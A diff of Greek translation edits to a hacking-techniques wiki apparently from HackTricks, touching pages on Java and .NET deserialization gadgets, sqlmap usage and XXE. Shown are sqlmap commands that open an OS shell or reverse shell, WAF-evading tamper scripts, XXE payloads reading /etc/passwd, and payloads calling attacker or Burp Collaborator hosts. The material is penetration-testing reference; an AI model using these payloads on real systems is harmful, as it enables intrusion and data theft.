| **ObjectDataProvider** (review) | Χρησιμοποιεί το WPF `System.Windows.Data.ObjectDataProvider` για να καλέσει μια αυθαίρετη στατική μέθοδο με ελεγχόμενα επιχειρήματα. Το YSoNet προσθέτει μια βολική παραλλαγή `--xamlurl` για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | `BinaryFormatter`, `Json.NET`, `XAML`, *κ.ά.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Σε αυτή την ανάρτηση θα εξηγηθεί ένα παράδειγμα χρησιμοποιώντας `java.io.Serializable` **και γιατί η υπερχείλιση του `readObject()` μπορεί να είναι εξαιρετικά επικίνδυνη αν το εισερχόμενο ρεύμα ελέγχεται από επιτιθέμενο**.
Σε αυτήν την ανάρτηση θα εξηγηθεί ένα παράδειγμα χρησιμοποιώντας `java.io.Serializable` **και γιατί η υπερχείλιση του `readObject()` μπορεί να είναι εξαιρετικά επικίνδυνη αν το εισερχόμενο ρεύμα ελέγχεται από επιτιθέμενο**.
## Serializable
Η διεπαφή Java `Serializable` (`java.io.Serializable`) είναι μια διεπαφή σήμανσης που οι κλάσεις σας πρέπει να υλοποιούν αν θέλουν να είναι **serializable** και **deserializable**. Η σειριοποίηση αντικειμένων Java (γραφή) γίνεται με το [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) και η αποσειριοποίηση (ανάγνωση) γίνεται με το [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Η διεπαφή Java `Serializable` (`java.io.Serializable`) είναι μια διεπαφή σήμανσης που οι κλάσεις σας πρέπει να υλοποιούν αν θέλουν να **σειριοποιηθούν** και **αποσειριοποιηθούν**. Η σειριοποίηση αντικειμένων Java (γραφή) γίνεται με το [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) και η αποσειριοποίηση (ανάγνωση) γίνεται με το [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
### Υπενθύμιση: Ποιες μέθοδοι καλούνται έμμεσα κατά την αποσειριοποίηση;
@ -16,10 +16,10 @@
4. `readExternal()` για κλάσεις που υλοποιούν `Externalizable`.
5. Οι κατασκευαστές **δεν** εκτελούνται επομένως οι αλυσίδες gadget βασίζονται αποκλειστικά στους προηγούμενους callbacks.
Οποιαδήποτε μέθοδος σε αυτή την αλυσίδα που καταλήγει να καλεί δεδομένα ελεγχόμενα από επιτιθέμενο (εκτέλεση εντολών, αναζητήσεις JNDI, ανακλαστικότητα, κ.λπ.) μετατρέπει τη ρουτίνα αποσειριοποίησης σε gadget RCE.
Οποιαδήποτε μέθοδος σε αυτήν την αλυσίδα που καταλήγει να καλεί δεδομένα ελεγχόμενα από επιτιθέμενο (εκτέλεση εντολών, αναζητήσεις JNDI, ανακλαστικότητα κ.λπ.) μετατρέπει τη διαδικασία αποσειριοποίησης σε gadget RCE.
Ας δούμε ένα παράδειγμα με μια **κλάση Person** που είναι **serializable**. Αυτή η κλάση **υπερκαλύπτει τη συνάρτηση readObject**, έτσι όταν **οποιοδήποτε αντικείμενο** αυτής της **κλάσης** είναι **deserialized** αυτή η **συνάρτηση** θα **εκτελείται**.\
Στο παράδειγμα, η **συνάρτηση readObject** της κλάσης Person καλεί τη συνάρτηση `eat()` του κατοικίδιου του και η συνάρτηση `eat()` ενός Σκύλου (για κάποιο λόγο) καλεί ένα **calc.exe**. **Θα δούμε πώς να σειριοποιήσουμε και να αποσειριοποιήσουμε ένα αντικείμενο Person για να εκτελέσουμε αυτόν τον υπολογιστή:**
Ας δούμε ένα παράδειγμα με μια **κλάση Person** που είναι **σειριοποιήσιμη**. Αυτή η κλάση **υπερκαλύπτει τη λειτουργία readObject**, έτσι όταν **οποιοδήποτε αντικείμενο** αυτής της **κλάσης** είναι **αποσειριοποιημένο**, αυτή η **λειτουργία** θα **εκτελείται**.\
Στο παράδειγμα, η **λειτουργία readObject** της κλάσης Person καλεί τη λειτουργία `eat()` του κατοικίδιου του και η λειτουργία `eat()` ενός Σκύλου (για κάποιο λόγο) καλεί ένα **calc.exe**. **Θα δούμε πώς να σειριοποιήσουμε και να αποσειριοποιήσουμε ένα αντικείμενο Person για να εκτελέσουμε αυτόν τον υπολογιστή:**
**Το παρακάτω παράδειγμα είναι από <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
```java
@ -101,7 +101,7 @@ payloadTest("test.ser");
## 2023-2025: Τι νέο υπάρχει στις επιθέσεις αποσυμπίεσης Java;
* 2023 CVE-2023-34040: Η αποσυμπίεση κεφαλίδων σφαλμάτων του Spring-Kafka όταν είναι ενεργοποιημένες οι σημαίες `checkDeserExWhen*` επέτρεψε την αυθαίρετη κατασκευή gadget από θέματα που δημοσιεύθηκαν από τον επιτιθέμενο. Διορθώθηκε στην 3.0.10 / 2.9.11. ¹
* 2023 CVE-2023-36480: Η υπόθεση αξιόπιστου διακομιστή του Aerospike Java client παραβιάστηκε οι κακόβουλες απαντήσεις του διακομιστή περιείχαν σειριακά payloads που αποσυμπιέστηκαν από τον client → RCE. ²
* 2023 CVE-2023-36480: Η υπόθεση αξιόπιστου διακομιστή του Aerospike Java client παραβιάστηκε οι κακόβουλες απαντήσεις του διακομιστή περιείχαν σειριακούς φορτίους που αποσυμπιέστηκαν από τον client → RCE. ²
* 2023 CVE-2023-25581: Η ανάλυση του χαρακτηριστικού προφίλ χρήστη του `pac4j-core` αποδέχθηκε blobs Base64 με πρόθεμα `{#sb64}` και τα αποσυμπίεσε παρά την ύπαρξη ενός `RestrictedObjectInputStream`. Αναβάθμιση ≥ 4.0.0.
* 2023 CVE-2023-4528: Η υπηρεσία JSCAPE MFT Manager (θύρα 10880) αποδέχθηκε Java αντικείμενα κωδικοποιημένα σε XML που οδήγησαν σε RCE ως root/SYSTEM.
* 2024 Προστέθηκαν πολλές νέες αλυσίδες gadget στο ysoserial-plus(mod) συμπεριλαμβανομένων των κλάσεων Hibernate5, TomcatEmbed και SnakeYAML 2.x που παρακάμπτουν ορισμένα παλιά φίλτρα.
@ -120,12 +120,12 @@ var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/
ObjectInputFilter.Config.setSerialFilter(filter);
```
2. **JEP 415 (Java 17+) Φίλτρα Ειδικών Συγκείμενων** χρησιμοποιήστε έναν `BinaryOperator<ObjectInputFilter>` για να εφαρμόσετε διαφορετικά φίλτρα ανά εκτελεστικό συγκείμενο (π.χ., ανά κλήση RMI, ανά καταναλωτή ουράς μηνυμάτων).
3. **Μην εκθέτετε το raw `ObjectInputStream` μέσω του δικτύου** προτιμήστε κωδικοποιήσεις JSON/Binary χωρίς σημασιολογία εκτέλεσης κώδικα (Jackson μετά την απενεργοποίηση του `DefaultTyping`, Protobuf, Avro, κ.λπ.).
3. **Μην εκθέτετε τον ακατέργαστο `ObjectInputStream` μέσω του δικτύου** προτιμήστε κωδικοποιήσεις JSON/Δυαδικών χωρίς σημασιολογία εκτέλεσης κώδικα (Jackson μετά την απενεργοποίηση του `DefaultTyping`, Protobuf, Avro, κ.λπ.).
4. **Περιορισμοί Άμυνας σε Βάθος** Ορίστε μέγιστο μήκος πίνακα, βάθος, αναφορές:
```bash
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
```
5. **Συνεχής σάρωση gadget** εκτελέστε εργαλεία όπως `gadget-inspector` ή `serialpwn-cli` στο CI σας για να αποτύχει η κατασκευή αν γίνει προσβάσιμο ένα επικίνδυνο gadget.
5. **Συνεχής σάρωση gadget** εκτελέστε εργαλεία όπως το `gadget-inspector` ή το `serialpwn-cli` στο CI σας για να αποτύχει η κατασκευή αν γίνει προσβάσιμο ένα επικίνδυνο gadget.
## Ενημερωμένο cheat-sheet εργαλείων (2024)

View File

@ -59,7 +59,7 @@ sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
## Injection place
### Από την καταγραφή του Burp/ZAP
### Από την καταγραφή Burp/ZAP
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
```bash
@ -88,7 +88,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Δεύτερη τάξη έγχυσης
### Δευτερογενής έγχυση
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
@ -104,7 +104,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση
### Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -133,31 +133,31 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Περιγραφή |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένα\) |
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένα\) |
| charunicodeencode.py | Κωδικοποιεί URL χαρακτήρες μη κωδικοποιημένους σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένα\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί URL χαρακτήρες μη κωδικοποιημένους σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένα\). "\u0022" |
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένα\) |
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |

View File

@ -30,13 +30,13 @@
| Letter | Technique | Description |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false στην απόκριση της σελίδας για να συμπεράνει αποτελέσματα |
| E | Error-based | Εκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει δεδομένα |
| E | Error-based | Εκμεταλλεύεται αναλυτικά μηνύματα σφάλματος DBMS για να εξάγει δεδομένα |
| U | UNION query | Εισάγει δηλώσεις `UNION SELECT` για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού |
| S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με έναν SQL διαχωριστή (`;`) |
| T | Time-based blind | Βασίζεται σε καθυστερήσεις `SLEEP/WAITFOR` για να ανιχνεύσει συνθήκες που είναι επιδεκτικές σε injection |
| Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως `LOAD_FILE()` ή εξαγωγή DNS για να εξάγει δεδομένα |
Η προεπιλεγμένη σειρά που θα ακολουθήσει το sqlmap είναι `BEUSTQ` (όλες οι τεχνικές). Μπορείτε να αλλάξετε τόσο τη σειρά όσο και το υποσύνολο. Για παράδειγμα, η παρακάτω εντολή θα **προσπαθήσει μόνο** τις τεχνικές UNION query και Time-based blind, προσπαθώντας πρώτα το UNION:
Η προεπιλεγμένη σειρά που θα ακολουθήσει το sqlmap είναι `BEUSTQ` (όλες οι τεχνικές). Μπορείτε να αλλάξετε τόσο τη σειρά όσο και το υποσύνολο. Για παράδειγμα, η παρακάτω εντολή θα **δοκιμάσει μόνο** τις τεχνικές UNION query και Time-based blind, προσπαθώντας πρώτα το UNION:
```bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
```
@ -60,7 +60,7 @@ sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
Χρησιμοποιώντας [SQLMapping](https://taurusomar.github.io/sqlmapping/) είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώνοντας κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.
Χρησιμοποιώντας [SQLMapping](https://taurusomar.github.io/sqlmapping/) είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώς κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.
## Τόπος έγχυσης
@ -99,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```
### Προσθήκη τεχνικής ανίχνευσης
Αν βρείτε μια SQLi αλλά το sqlmap δεν την ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για βασισμένο σε χρόνο blind.
Αν βρείτε μια SQLi αλλά το sqlmap δεν την ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιούνται από το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για time blind based.
### Eval
**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **συνεδρία cookie flask** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**:
**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **flask cookie session** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -159,11 +159,11 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| Tamper | Περιγραφή |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
| appendnullbyte.py | Προσθέτει τον κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
@ -179,8 +179,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
@ -190,26 +190,26 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+') |
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
| unionalltounion.py | Αντικαθιστά το UNION ALL SELECT με το UNION SELECT |
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τιμή κεφαλαίου 'INSERT' |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' |
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
## References
## Αναφορές
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -43,7 +43,7 @@
```
![](<../images/image (86).png>)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια Portswigger)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -83,7 +83,7 @@
```
### Blind SSRF
Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξει ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι οντότητες XML δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **οντότητες παραμέτρων XML**:
Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξει ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι XML οντότητες δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικές οντότητες**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -168,7 +168,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
Οι καθορισμένες διαδικασίες εκτελούνται από αυτό το DTD:
- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που ορίστηκε αρχικά στο εξωτερικό DTD, για να περι encapsulate μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
@ -229,9 +229,9 @@ Testing 0 entities : []
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα.
